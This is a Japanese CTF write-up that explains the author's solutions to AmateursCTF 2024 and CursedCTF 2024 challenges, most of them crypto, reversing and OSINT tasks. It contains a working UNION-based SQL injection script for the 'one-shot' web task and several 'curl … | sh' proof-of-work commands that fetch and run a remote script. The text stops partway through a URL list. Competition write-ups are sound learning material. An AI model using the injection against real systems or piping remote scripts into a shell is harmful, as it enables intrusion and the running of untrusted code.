AmateursCTF 2024 Writeup

この大会は2024/4/5 23:00(JST)~2024/4/10 12:00(JST)に開催されました。
今回は個人で参戦。結果は2332点で1536チーム中129位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

amateursCTF{free_flag_and_please_follow_the_rules}

tarcrypt (misc)

スクリプトの処理概要は以下の通り。

・mkzip(['flag.txt'], 'flag.tarc', pwd=open('password.txt').read())
 ・zip = b""
 ・zip += b"flag.txt\x00"
 ・contents: flag.txtの内容
 ・length: contentsの長さをバイト文字列化
 ・lenlen: lengthの長さをバイト文字列化
 ・lenlenの長さが1以外の場合、エラー ※contentsの長さは255バイト以下
 ・zip += lenlen + length + contents
 ・key: pwdのsha256ダイジェスト
 ・key_checksum: pwdのsha256ダイジェスト
 ・nonce = b"\x00" * 16
 ・enc: AES GCM暗号化オブジェクト(鍵: key、nonce: nonce)
 ・zip = key_checksum + enc.encrypt(zip)
 ・flag.tarcにzipを書き込み

鍵がわかっているので復号でき、flag.txtの内容を復元できる。

#!/usr/bin/env python3
from Crypto.Cipher import AES as _AES
from Crypto.Util.number import long_to_bytes as _l2b
from Crypto.Util.number import bytes_to_long as _b2l
from hashlib import sha256 as _sha256

with open('flag.tarc', 'rb') as f:
    zip = f.read()

key = zip[:32]
zip = zip[32:]
nonce = b"\x00" * 16
enc = _AES.new(key, _AES.MODE_GCM, nonce=nonce)
zip = enc.decrypt(zip)

flag = zip[len("flag.txt\x00") + 2:].decode()
print(flag)
amateursCTF{l0l_d0nt_m4k3_kdf_and_ch3cksuM_the_s4m3}

bathroom-break (osint)

検索すると、以下のページが見つかる。

https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/

ホットクリークとのことで、近辺のトイレ(以下の場所)のレビューを見てみる。

https://www.google.nl/maps/place/Vault+Toilets/@37.6600886,-118.827219,18z/data=!4m14!1m7!3m6!1s0x809604937acf462d:0x5d20877f1e42b22f!2z44Ob44OD44OI44Kv44Oq44O844Kv!8m2!3d37.6644384!4d-118.8283213!16s%2Fm%2F03c14wn!3m5!1s0x809605316a6892c9:0xfd9f3f17d2d3a284!8m2!3d37.6610839!4d-118.8273592!16s%2Fg%2F11pv3j5k3d?entry=ttu

以下のように書いてある。

Convenient bathroom. I really like this bathroom, since it's the only one in the area.
It's also pretty clean in addition to convenient, which is great.

t .  l y / p  h X h  x

http://t.ly/phXhxにアクセスしてみると、https://pastebin.com/jxaznYqHに飛ぶ。長い文章中にフラグが書いてあった。

amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}

cherry-blossoms (osint)

いろいろ調べたところ、USAの国旗が円になるように並んでいる場所はワシントン記念塔の近辺であることがわかる。この辺りがだいたい一致しそう。

https://www.google.co.jp/maps/@38.8898901,-77.0334988,2a,75y,206.73h,90.86t/data=!3m6!1e1!3m4!1sR8Sd7bdo8nWX9lpR5_0IwA!2e0!7i13312!8i6656?hl=ja&entry=ttu
$ nc chal.amt.rs 1771
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.ShQ2S5lN9TkGa4Yixi7b5Q==
solution: s.MhATWIg469uWZ4KOLmoLPtJdGQO20Wfi98LdbUgu3US1sRHzCXVIJZfyUxx8j27tcQdS4DzgjPqOcQqo6IrAddqCv00OSz4+Zs+aVRzQPcDoK+zjWSwMzVycf5vJ7EIKJCtiqdIIFsowmh3ZNz6SXs6AhOFcfqi6j7qVHQ9B6akHAP/FFZ0P3YDIazgon90YteSU5Tpv4qRUEPE8p3Cgdg==
Please enter the lat and long of the location: 38.8898901 -77.0334988
Correct! You have successfully determined the position of the camera.
Great job, the flag is  amateursCTF{l00k1ng_l0v3ly_1n_4k}
amateursCTF{l00k1ng_l0v3ly_1n_4k}

typo (rev)

スクリプトのコードがわかりにくので、変数名を置き換える。

import random
seed = int('1665663c', 20)
random.seed(seed)
flag = bytearray(open('flag.txt', 'rb').read())
key = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
lst = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
plus1 = lambda xs: bytearray([x + 1 for x in xs])
minus1 = lambda xs: bytearray([x - 1 for x in xs])
def transfer(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
funcs = [transfer, plus1, minus1]
funcs = [random.choice(funcs) for _ in range(128)]
def func1(arr, ar):
    for r in ar:
        arr = funcs[r](arr)
    return arr
def func2(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])
ct = func1(flag, key.encode())
ct = func2(lst, ct)
print(ct.hex())

逆算してフラグを復号する。

#!/usr/bin/env python3
import random

plus1 = lambda xs: bytearray([x + 1 for x in xs])
minus1 = lambda xs: bytearray([x - 1 for x in xs])
def transfer(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
def rev_transfer(hex):
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    return hex

seed = int('1665663c', 20)
random.seed(seed)
key = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
lst = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]

with open('output.txt', 'r') as f:
    ct = f.read()

ar = int(ct, 16)
for r in lst:
    ar -= int(r, 35)

chars = '0123456789abcdefg'

h = ''
while True:
    mod = ar % 17
    h = chars[mod] + h
    ar = ar // 17
    if ar == 0:
        break

assert 'g' not in h

arr = bytes.fromhex(h)

func = [rev_transfer, minus1, plus1]
func_list = [random.choice(func) for _ in range(128)]

for k in key.encode()[::-1]:
    arr = func_list[k](arr)
flag = arr.decode()
print(flag)
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}

denied (web)

GETメソッド以外でアクセスすればよい。

$ curl -X OPTIONS http://denied.amt.rs/
GET,HEAD

$ curl -I http://denied.amt.rs/
HTTP/1.1 200 OK
Content-Length: 7
Content-Type: text/html; charset=utf-8
Date: Fri, 05 Apr 2024 22:34:26 GMT
Etag: W/"7-skdQAtrqJAsgWjDuibJaiRXqV44"
Server: Caddy
Set-Cookie: flag=amateursCTF%7Bs0_m%40ny_0ptions...%7D; Path=/
X-Powered-By: Express

クッキーにフラグがURLエンコードされて設定されているので、URLデコードする。

amateursCTF{s0_m@ny_0ptions...}

one-shot (web)

各パスで以下のような処理をしている。

■/new_session, POST
table_{id}テーブルを作成し、([ランダム16バイトの16進数表記], 0)を登録
※{id}はわかる。

■/search, POST
・([ランダム16バイトの16進数表記], 1)に更新
 ※1度/searchにアクセスすると、2回目は検索できない。
・passwordをqurtyで部分一致検索する。
・passwordの最初の1文字目だけ表示される。

■/guess, POST
・passwordで検索し、あったらフラグを表示

union句でsubstringで2文字目以降を1文字目のデータにした複数のデータとして取得すれば、passwordを割り出せる。

#!/usr/bin/env python3
import requests
import re

base_url = 'http://one-shot.amt.rs/'

url = base_url + 'new_session'
r = requests.post(url)

pattern = 'name="id" value="(\w+)"'
m = re.search(pattern, r.text)
id = m.group(1)

url = base_url + 'search'

query = "z'"
for i in range(32):
    query += " union select all substring(password, %d, %d) from table_%s" % (i + 1, 32 - i, id)
query += " -- -"

payload = {"id": id, "query": query}
r = requests.post(url, data=payload)

pattern = '<ul>\s+(<li>.+</li>)\s+</ul>'
m = re.search(pattern, r.text)
res = m.group(1)
res = res.replace('</li>', '')
res = res.split('<li>')[1:]

password = [''] * 32
for pwd in res:
    password[32 - len(pwd)] = pwd[0]
password = ''.join(password)

payload = {"id": id, "password": password}
url = base_url + 'guess'
r = requests.post(url, data=payload)
print(r.text)

実行結果は以下の通り。

<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br />
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

aesy (crypto)

そのままAES暗号 ECBモードとして復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = '8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f'
ct = 'abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f'

key = bytes.fromhex(key)
ct = bytes.fromhex(ct)

cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
amateursCTF{w0w_3cb_a3s_1s_fun}

unsuspicious-rsa (crypto)

factorial(90)をCとすると、nextPrimeによりqは以下のような計算になる。

q = p + (C - p) % C

次の計算により以下の式が成り立つ。

q = (p - p % C) + 1

さらにその後の計算により以下の式が成り立つ。

q = p - p % C + 1 + C * X

また以下が成り立つ。

n % C = (p % C) * (q % C) = p % C

p * q = Nであることからpの2次方程式になる。Xを128未満としてこのpの2次方程式で整数解があるものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n

with open('output.txt', 'r') as f:
    N, e, c = map(int, f.read().split(' '))

C = factorial(90)
A = N % C

found = False
for x in range(128):
    p = sympy.Symbol('p')
    eq = p * (p - A + 1 + C * x) - N
    ps = sympy.solve(eq)
    for p in ps:
        if p.is_Integer and int(p) > 0:
            found = True
            p = int(p)
            break
    if found:
        break

assert N % p == 0 and found

q = N // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
amateursCTF{here's_the_flag_you_requested.}

faked-onion (crypto)

サーバの処理概要は以下の通り。

・key: ランダム16バイト
・cipher = Cipher(key)
 ・cipher.key = key
 ・cipher.block_size = 16
 ・cipher.rounds = 1
・以下繰り返し
 ・choice: 入力
 ・choiceが"1"の場合
  ・pt: 入力
  ・pt: ptをhexデコードしたもの
  ・ct = cipher.encrypt(pt)
   ・plaintext: ptを"\x00"で16バイトになるようパディング
   ・ciphertext = b''
   ・plaintextを16バイトごとに以下を実行
    ・block: plaintextの16バイトブロック
    ・L, R = block[:-1], block[-1:]
    ・L, R = R, strxor(L, self.F(R))
    ・block = L + R
   ・ciphertextにblockを結合
  ・ctを16進数表記で表示
 ・choiceが"2"の場合
  ・ct = cipher.encrypt(flag)
  ・ctを16進数表記で表示

Rが1バイトなので、各ブロックの最後の文字のF(R)を取得し、XORして復号する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.amt.rs', 1414))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data)
enc_blocks = [enc_flag[i:i+16] for i in range(0, len(enc_flag), 16)]

flag = b''
for i in range(len(enc_blocks)):
    R = enc_blocks[i].hex()[:2]
    L = '0' * 30
    pt = L + R
    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b': ')
    print(data + pt)
    s.sendall(pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    flag += strxor(bytes.fromhex(data[2:]), enc_blocks[i][1:])
    flag += bytes([int(R, 16)])

flag = flag.decode()
print(flag)

実行結果は以下の通り。

faked onion
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 2
6e20a0b1803ac99b206786fbe8cc600569e944dc9fdb7366fc11c992f23b103a3496e44913966be7953648332dd2314f723c3c0dbc56713df0558e7a5bd8626765a69aecd571937379b74b06cba05a337d1f2c720a
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 0000000000000000000000000000006e
6e41cdd0f45fbce95324d2bd93a3085a
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000069
69861bb1e6841c08994ea6f4ad5a4f51
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000034
34f8806476e419b8e6593a4154fe6e29
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000072
72575969e3391f0cc03bd11932a80a02
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000065
65f9fd83a12ef81a48862e6294976903
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 0000000000000000000000000000007d
7d7d1d113a5661897b5daa3edf8299c0
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}

decryption-as-a-service (crypto)

サーバの処理概要は以下の通り。

・p, q: 1024ビット素数
・N = p * q
・e: 64ビット素数
・d = pow(e, -1, (p - 1) * (q - 1))
・encrypted_flag = pow(flag, e, N)
・encrypted_flagを表示
・以下10回繰り返し
 ・c: 数値入力
 ・cがNの平方根より大きくNより小さい場合
  ・cがencrypted_flagまたはN - encrypted_flagの場合、cの入力からやり直し
  ・pow(c, d, N)を16進数で表示

以下の式を考える。

pow(K * 2, d, N) = pow(K, d, N) * pow(2, d, N) % N
pow(K * 4, d, N) = pow(K, d, N) * pow(2, d, N) ** 2 % N
pow(K * 8, d, N) = pow(K, d, N) * pow(2, d, N) ** 3 % N
pow(K * 16, d, N) = pow(K, d, N) * pow(2, d, N) ** 4 % N

pow(K * 2, d, N) * pow(K * 8, d, N) % N = pow(K, d, N) ** 2 * pow(2, d, N) ** 4 % N
pow(K * 4, d, N) ** 2 % N = pow(K, d, N) ** 2 * pow(2, d, N) ** 4 % N

つまり以下が成り立つ。

pow(K * 2, d, N) * pow(K * 8, d, N) % N = pow(K * 4, d, N) ** 2 % N

同様にして以下が成り立つ。

pow(K * 4, d, N) * pow(K * 16, d, N) % N = pow(K * 8, d, N) ** 2 % N

このことを使って、差分の最大公約数からNを割り出す。
基本的にencrypted_flagは偶数になっているので、以下の計算により復号することができる。

pow(encrypted_flag, d, N) = pow(2, d, N) * pow(encrypted_flag // 2, d, N) % N

これを使うためにはpow(2, d, N)を知る必要がある。

pow(K * 4, d, N) = pow(K * 2, d, N) * pow(2, d, N) % N

このことから以下が成り立つ。

pow(2, d, N) = pow(K * 4, d, N) * inverse(pow(K * 2, d, N), N) % N

あとはこの情報を使って復号すればよい。なお、PoWのスクリプトをpow.shに保存して実行した。

#!/usr/bin/env python3
import socket
import subprocess
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.amt.rs', 1417))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

cmd = ['./pow.sh', data.split(' ')[-1]]
ret = subprocess.check_output(cmd).decode().rstrip()
print(ret)
s.sendall(ret.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_flag = int(data.split(' ')[-1])

try_rsa_dec = []
for c in [2, 4, 8, 16, 32]:
    try_c = 2 ** 1023 * c
    data = recvuntil(s, b'? ')
    print(data + str(try_c))
    s.sendall(str(try_c).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    try_rsa_dec.append(int(data, 16))

N_mul = []
for i in range(3):
    diff = try_rsa_dec[i] * try_rsa_dec[i+2] - try_rsa_dec[i+1] ** 2
    if diff < 0:
        diff = - diff
    N_mul.append(diff)

N = N_mul[0]
for i in range(1, len(N_mul)):
    N = GCD(N, N_mul[i])

m1 = try_rsa_dec[1] * inverse(try_rsa_dec[0], N) % N

try_c = encrypted_flag // 2
data = recvuntil(s, b'? ')
print(data + str(try_c))
s.sendall(str(try_c).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
m2 = int(data, 16)

m = m1 * m2 % N
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.cHMfkEl2f2Z3IIJPmGQJ7g==
s.aJhGOiyPZRReGN4xQtOj6vOX+qGtOAlrTxx4uCFNYCLUCEtZ/RQtMbD04fBxKkm/WrmVH0JKgt+wPJsLvDkNVSvogcdNK/vJAab96o+ymapRvcK11c19jSgW0YOjxU1dIhP6TguPCOTy39iZ0Aqu/hMUHh3ZM4/d/+LTanmGSREp67gScPfpSMGE2e+d0yhJxb+6HvEzLe0unWvvOEQdvg==
solution: encrypted_flag = 1440832147523262174482257747700943103397993159734601725151768012492358003045881121396323499064560208600135658284555844092482671013190257899167314943288892688743207339745031972087453742136569069619636856119073031702177669244618914518298512094939714277282672876300531230992372793195514840052688185022090855070746526659021271825548909552750343767634719444889457584149183413382431860623633086346395521831999668137856125317833268618936467816767872819093365995958316833873317876611495589407873118246825627561821912777984448145226437011628650286100969125835492623916095788185529333093742097430598771439303659280468402136542
message? 179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137216
490be91eead537e399d7c44329ac9409ca5351574080a978aeee9959b3654e4ffc298eef56358c28ddbd4f63a48f69baa975ff35f00fda4cae63deab5d126995b0c88ab26faab046b7b5ea1b4f30c77a689edd29d6d86bea22842bf7070594842cf949e14572be8021975e5043df92fd9e593b45ddf04441de9462f707ac8f2460263c2cdc7a67e2883e087bcdca24588f2bc4774e1a13a7ecc7605c21607ec163bc1557771cc78115da5e0a43bcd66fc49fce9c93bf94b30f10baa164c7f923e66fcdcf8cb4a9c5d905a56e8c1baaca8ddad328d24830066138d0f941739cdb1383548975c7e3d48c6956507e703ed2bf693faba3435596640f564dfd2c1bec
message? 359538626972463181545861038157804946723595395788461314546860162315465351611001926265416954644815072042240227759742786715317579537628833244985694861278948248755535786849730970552604439202492188238906165904170011537676301364684925762947826221081654474326701021369172596479894491876959432609670712659248448274432
a8ed01c81e5255baf4596223f770c8965abc92c010a11e209ed4fac030a796cd8d5e35f387de270096eee00caf4333c6ecc61a818c92cff7e9ec8062c43c9367a1bbc9167d9f97058bb792557732e6412a73c72d61f0dd542fd202031e22bcdc0d75e26c076d1be2468c93017f6b757a0924abd38f049ef71c439c78855bc7d026a503c0af7b31026d28b247c102526fe50bc32cd99c46f29fcdde7397f9c2c44d3b8640d41533e637e1031f7296f69afe3e2698fbeff287defd8b7b1a3dcfb6dea3ea9efa2b11fc235a2620f149227149c55908a2496aa34d5c5373f88b4ba19211dec662fb03b34584603c323dae0cbf23b3a9946766c0f7f49fbdc36b6d87
message? 719077253944926363091722076315609893447190791576922629093720324630930703222003852530833909289630144084480455519485573430635159075257666489971389722557896497511071573699461941105208878404984376477812331808340023075352602729369851525895652442163308948653402042738345192959788983753918865219341425318496896548864
f46cc4800a6ccdb2acf819c106c9a7bfad702312da65482ecdc1b6a7d451b13897ea7ea5fd53d0ea922182a143fef1e585e71b92deceaa8ef89460bb8576bd7db00b2a4857146bb6dc5514db34c4d0d05e0bd45cf63d5b0d9ced0dc5f0c6499f8e261e7f5b99781d42de1da9eccbc50a0350bb0a306ba31777cdc9f4c455dc6193a967738aea3932b278e99ddaa22b8d4e7cf42e5ecaf11c754d4c7b4323d39298de448e3ef4e414c91ecda63408f0eeaa136ac8c51c820b8fd2c89ccf4b07ea385ce71ed4dc6446587ff90fb27dab4e9c8ad1df7c208f32535959400b744ff74cb3e293d4afd608b14b1f34cb0de97e8b4b73eaf346592cf4fec54631fd4d9
message? 1438154507889852726183444152631219786894381583153845258187440649261861406444007705061667818579260288168960911038971146861270318150515332979942779445115792995022143147398923882210417756809968752955624663616680046150705205458739703051791304884326617897306804085476690385919577967507837730438682850636993793097728
7443a4f217d341ec02b4c89a377413ddca20265718604338c0af51f67669f8915f2daae6fdc5e8650a0b1b8bebc5182f16873fb404240fb448a37e350b1c4069173b6eee9c2cba545e6f34098013abebbea3e1ffc856d95491cdb081fe8b8edd0a08db3288d078c1f75910c3d34f11cd0d8b1bffb9ee8871ddcf9a51bda4ea7782c6a374c961ce893ee642260b3709a96945dfbe5b0f10e4f5307d76e83786920e3ba069c09c0614a1d7c6ccf1f37cb6e92bd533e8a689abc6dc6dee1ba89c9d61c4497a507f92a88aee801402e5e4db88c96ddbbe07aa5ca6c1e260e81d54c720167a0e639de60185acdae792877e45d28e930836e7b4320102db5669092196
message? 2876309015779705452366888305262439573788763166307690516374881298523722812888015410123335637158520576337921822077942293722540636301030665959885558890231585990044286294797847764420835513619937505911249327233360092301410410917479406103582609768653235794613608170953380771839155935015675460877365701273987586195456
1312bc7f9adfded70c92600a6de4b0c2bd8d99777ec51bb72af5f14521baed7be86121edfe7dec9f73e94404b0d869ae474ec75ca66714208f2755ce271e1c9ae866fc435ef963d1aa3729a8bbb6ee35bdbf507a0b5df47c94aa8a92f1cf9aa83014c57740651dda557a2e9c1813a5651026c3fb48dc91b350ac61ec0351d41e50e82de02262c8845967dec1e9dbb533af78f4e26400e129d5c772807a08392440e422426721b99ace7b662a419101bdc4f2ba1241277b17d0e6c10299686b1dc1f29b868780ff209d86930d0f3f27504773422eb4fd4c0a599ef93b376eebe383a64f583e55114266aa97aec39afdb9821b40011d0b1a18a2cab372c68863cc
message? 720416073761631087241128873850471551698996579867300862575884006246179001522940560698161749532280104300067829142277922046241335506595128949583657471644446344371603669872515986043726871068284534809818428059536515851088834622309457259149256047469857138641336438150265615496186396597757420026344092511045427535373263329510635912774454776375171883817359722444728792074591706691215930311816543173197760915999834068928062658916634309468233908383936409546682997979158416936658938305747794703936559123412813780910956388992224072613218505814325143050484562917746311958047894092764666546871048715299385719651829640234201068271
1faa9bebc3cf993cdd7f1fd1991b3adc36ee4b80a6647d96e44493faae6b198e72c39b0c72baab75135db9186c525e5c2adca9640d1368f6ce942f16ed214df44be59a8365ada4b95b943fa6d73b7fbbfa0c4669d60ae4d040c6a57913a3ae2272d5b820ae2809b1a857032cef1366007161041ef0cf7507756e408f80e6a897dd151cb5fd1904c63883682e2370f565fac78482a187f9230fc81d9d0fb4cfab3ea879a83735d771756cef32b822490cabaaf4ce59c054fe9158b0f8214e8c9c8813bf8fed57369e3efbd6422d6f56de5ab0e496e100a701d656623e4cd68ab9646c4cfa29bfa8b130d3ac96ba2f3c0e0d48dc314a1a886fd783595e9459f7f9
amateursCTF{wtf_why_is_this_rsa_but_you_dont_provide_public_key_this_isnt_how_rsa_works?!?!_0b8ee05d}
amateursCTF{wtf_why_is_this_rsa_but_you_dont_provide_public_key_this_isnt_how_rsa_works?!?!_0b8ee05d}

survey (misc)

アンケートに答えたら、フラグが表示された。

amateursCTF{Thanks for playing!}

CursedCTF 2024 Quals Writeup

この大会は2024/3/30 9:00(JST)~2024/4/1 13:00以降(不明)に開催されました。
今回もチームで参戦。結果は4049点で3002チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

問題にフラグが書いてあった。

cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{flag}}}}}}

Geoguessra (osint)

画像を少しだけ右側、下側を削り、画像検索する。一番近い景色と思われるエトナ山がフラグとして通った。

cursedctf{etna}

Geoguessr6 (osint)

奥の建造物を焦点に置き、画像検索すると、以下のぺージなどが見つかった。

https://haikyo.info/s/6400.html

モントーク空軍基地の辺りであることがわかる。

cursedctf{montauk}

Geoguessrm (osint)

海を中心に画像検索すると、アラル海の写真が見つかる。

cursedctf{aral-sea}

Geoguessr4 (osint)

上を1/3位削り、下を少し削って画像検索すると、似たような建物が集中している箇所が以下のページなどで見つかる。

https://www.booking.com/hotel/gl/jomsborg-ilulissat.ja.html

このあたりの場所はIlulissatという地域。

cursedctf{ilulissat}

LETSGOOOOOOOOOOO2 (osint)

BURGERSのシールが貼られているブロックがある。Googleで「LEGO BURGERS」を調べる。
以下のページなどで「レゴ シティ バーガートラック 60404」が見つかった。

https://www.amazon.co.jp/%E3%83%AC%E3%82%B4-LEGO-%E3%83%90%E3%83%BC%E3%82%AC%E3%83%BC%E3%83%88%E3%83%A9%E3%83%83%E3%82%AF-%E3%81%AF%E3%81%9F%E3%82%89%E3%81%8F%E3%81%8F%E3%82%8B%E3%81%BE-60404/dp/B0CFW2KC3H?th=1
cursedctf{60404}

ezpwn (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  vuln();
  return 0;
}

void vuln(void)

{
  int iVar1;
  size_t sVar2;
  char local_28 [32];
  
  printf("Hi! what\'s your name? ");
  gets(local_28);
  iVar1 = strcmp(local_28,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  if (iVar1 == 0) {
    sVar2 = strlen(local_28);
    print_flag(sVar2 & 0xffffffff);
  }
  return;
}

void print_flag(uint param_1)

{
  printf("Congrats! Your flag is: cursed{ez_buffer_overflow?_%d}\n",(ulong)param_1);
  return;
}

print_flag関数の引数で渡しているのは、"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"の長さ。

>>> s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> len(s)
42
cursed{ez_buffer_overflow?_42}

Crypto Curses (crypto)

画像ファイルにあるURLから末尾1文字だけ見えないので、16進数の総当たりで該当するページを見つける。結果以下のURLで見つかった。

https://chat.openai.com/share/5a19884d-dc6f-421a-b5ea-153cbbce3877

復号した文字列は以下のように記載されている。

This is a secret message. It's a coming after, but it's spending him with a weird.

最後に以下がフラグであることが記載されている。

cursed{secret}
cursed{secret}

viewing (crypto)

各URLについて、リンク先とその値を記録する。

http://adfoc.us/852190101943995
→https://people.cs.rutgers.edu/~rp1110/viewing/key_0_6e82a44556266aa26ca13f817c3ec36f.txt
→bb8d8662f042380e02c5464f4ff8f9a4fa64d24b28a624709be929bc8317041b5d73dc784cd295c123

http://adfoc.us/852190102765961
→https://people.cs.rutgers.edu/~rp1110/viewing/key_10_0a148e7cdf3f72a15c808f32f73cfa8c.txt
→66780007a3aa4b2c96fc79dd83aa12fe362f38a42ccc4355d8a0d0079446354bb478990cdf3ab03fcb

http://adfoc.us/852190102765962
→https://people.cs.rutgers.edu/~rp1110/viewing/key_11_a0780e0f29eb255059be3b8c28b680b8.txt
→fcf16461d105e1872731a750b12d65b68ce2a5048cf42fa0a9ff951335c164c607dddc11a96015da61

http://adfoc.us/852190102765963
→https://people.cs.rutgers.edu/~rp1110/viewing/key_12_be4350c7b7e1e5499e9ed6afae203ac8.txt
→273f9f067fc3235c33ba79bc76217886d6542d80981bc8d794da24d30f61893f61f73432853ff475b4

http://adfoc.us/852190102765964
→https://people.cs.rutgers.edu/~rp1110/viewing/key_13_0453a62de62861b1038f6a1163f1219b.txt
→0235827a65e17fa7177188a7c9101a68b99f8bd99f5d242b32be16cb3bd073f9c8093640db9be60c6f

http://adfoc.us/852190102765965
→https://people.cs.rutgers.edu/~rp1110/viewing/key_14_9e39eec4d0458911dc16c89f76dd9cdb.txt
→88e530d66bf0cdada3179eb54b73c0936ba889375726940dc6c03051e0a4f3f035d406a5c088289411

http://adfoc.us/852190102765966
→https://people.cs.rutgers.edu/~rp1110/viewing/key_1_529956d3c980661884867365e0a59f99.txt
→41bbccfaa873b521b2ad3d543dfaac12d6883c2cc16934a14d22a305882d47d91972263c3c20192135

http://adfoc.us/852190102765967
→https://people.cs.rutgers.edu/~rp1110/viewing/key_15_b94c56972d5d076c09b6decbc526ade3.txt
→20da55588306639e2cb4960b11f46b172ac99a1df688b7d72d7ea907f6810548df7babe6974d889a37

http://adfoc.us/852190102765968
→https://people.cs.rutgers.edu/~rp1110/viewing/key_16_8c2d5d7d92f15e1e12b0761bd49868f1.txt
→c58b4aec3534b9b0e6ebf16c176e40965e9a8d5df6b1a6ad19128d22e3d9715778cf49d34b7276b717

http://adfoc.us/852190102765969
→https://people.cs.rutgers.edu/~rp1110/viewing/key_17_5938a92009a9b03d196e63175597f6c7.txt
